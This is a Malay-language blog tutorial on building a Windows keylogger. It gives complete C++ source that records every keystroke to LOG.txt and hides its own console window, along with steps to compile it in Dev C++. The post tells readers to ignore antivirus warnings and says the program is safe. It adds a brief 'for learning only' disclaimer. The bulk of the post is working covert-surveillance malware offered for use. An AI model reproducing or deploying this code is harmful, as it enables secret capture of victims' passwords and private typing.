Membuat Keylogger Sendiri

Sumber : Blog-Macho TK
Hiasan Semata-Mata
Assalamualaikum semua

Teringin nak buat keylogger sendiri!
nah kami sudah sediakan!!

Jadi bagaimana untuk menjadikan kod-kod itu sebagai keylogger? Baiklah. Anda hanya perlu memuat turun perisian di laman web http://www.bloodshed.net. Kemudian install di dalam komputer anda.
Sudah install?

Kita ke peringkat seterusnya iaitu membuka program Dev C++ tersebut dan pergi ke File->New->Source File. Anda akan melihat satu ruang kosong. Di ruang kosong itulah anda copy dan paste kod di bawah ini.

#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
unsigned char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
cin.get();
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}


Kemudian kita compile kod-kod tersebut. Sama ada dengan menekan Ctrl+F9 atau pergi ke
Execute->Compile.







Siaplah sudah keylogger tersebut. Anda save  keylogger tersebut di mana saja yang anda suka. Keylogger yang dicipta ini akan salin segala yang ditaip di keyboard ke satu fail bernama Log.txt. Fail Log.txt itu berada bersama dengan keylogger yang anda save sebentar tadi.



Antivirus anda mungkin menganggap keylogger itu sebagai virus, jangan risau, ianya bukan virus. Ianya selamat untuk digunakan  ^_^

Itu saja pada hari ini. Segala apa yang diajar hanya untuk tujuan pembelajaran. Jika ingin melakukannya, lakukannya di komputer milik anda sahaja. Lakukannya pada komputer orang lain adalah salah disisi undang-undang. Risiko anda tanggung sendiri. Saya tidak bertanggungjawab atas apa yang berlaku semasa anda melakukannya. Jadi senang cerita anda boleh mempraktikkannya di virtual machine milik anda! =)

Sekian.


0 comments: